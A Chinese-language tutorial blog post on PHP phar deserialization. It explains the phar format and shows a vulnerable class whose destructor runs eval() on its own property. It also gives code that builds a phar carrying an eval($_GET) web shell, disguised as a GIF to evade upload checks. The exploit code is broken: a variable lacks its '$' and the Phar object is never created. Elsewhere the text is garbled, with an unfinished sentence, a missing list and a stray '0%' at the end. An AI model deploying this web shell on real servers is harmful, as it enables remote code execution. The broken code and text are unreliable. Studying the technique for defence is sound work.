php反序列化之phar

phar介绍

参考文章:
PHP反序列化入门之phar

phar就是php压缩文档,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://, php://等类似,也是一种流包装器。

phar结构由 4 部分组成

stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;

划重点

这里有两个关键点:
(1) 文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;

(2) 反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

漏洞测试

现有一段测试代码如下:
这个环境搭建晚之后,要将代码

1
2
3
4
5
6
7
8
9
10
11
<?php
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ka = $_GET['file'];
file_exists($ka);

在foo()类中的$ha是可控的,并且存在__destruct()魔术方法,这里存在反序列化漏洞,那么通过函数file_exists()对文件进行操作,运用到phar的知识点。

除了file_exists()以外,能触发这种漏洞的函数还有:

我们构造phar文件的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

//将我们需要放入的反序列化内容放在此处
class foo
{
var $ha = "@eval($_GET['code'])";
}

$o = new foo();
filename = 'shell.phar';//后缀名必须为phar,否则代码执行不了
file_exists($filename) ? unlink($filename) : null;
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);//此处存放数据的方式是以序列化的方式存放
$phar->addFromString("shell.txt","bar");
$phar->stopBuffering();

?>

$phar->setMetadata($o);//此处存放数据的方式是以序列化的方式存放
生成一个shell.phar文件,然后我们通过伪协议phar://读取,数据就会被反序列化,那么我们定义的$ha就会被传入

我们可以修改phar文件后缀为gif.

然后访问该gif文件:

0%